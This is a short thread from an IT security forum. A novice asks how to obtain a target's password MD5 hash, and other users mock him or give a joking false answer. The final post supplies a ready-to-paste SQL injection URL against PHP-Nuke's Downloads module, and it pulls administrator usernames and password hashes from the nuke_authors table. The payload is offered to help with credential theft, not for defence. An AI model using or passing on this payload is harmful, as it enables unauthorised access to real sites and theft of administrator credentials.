Waraxe IT Security Portal

diegocure15 · Active user

to see the question im gonna ask but i've follow every step on every waraxe tutorials bout http://www.waraxe.us/forum/viewtopic.php?t=67&start=0&postdays=0&postorder=asc&highlight=
on how to get target password's md5 hash and i cant do it where do i get it???

any hints? any help?is the hash the code after de "sid=" ??? please! thank you

diegocure15 · Active user

hellooooooooooooooooooooooooooo someone at least one person Question

LINUX · Moderator

I do not understand its question

diegocure15 · Active user

OkIDaN · Regular user

Listen, you will only be able to get the md5 hash if the system/cms is vulnerable. There is no answer to "how do I get an MD5 hash". There can be an answer for "How do I get the admin md5 hash in phpnuke version x.xx, being a logged in user?". The rest is up to you.

qr4t · Regular user

yes, the hash is the code after de "sid=" Razz

diegocure15 · Active user

qr4t · Regular user

Muahaha

Injector · Active user

sid is session id not md5 hash. All you need to do is to freaking place that sql injection in the url box

http://somesite.com/phpnuke/modules.php?name=Downloads&d_op=viewsdownload&sid=-1/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0, 0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/ **/radminsuper=1/**/LIMIT/**/1/*

Obviously this exploit would only work to versions which are vulnerable to such exploits.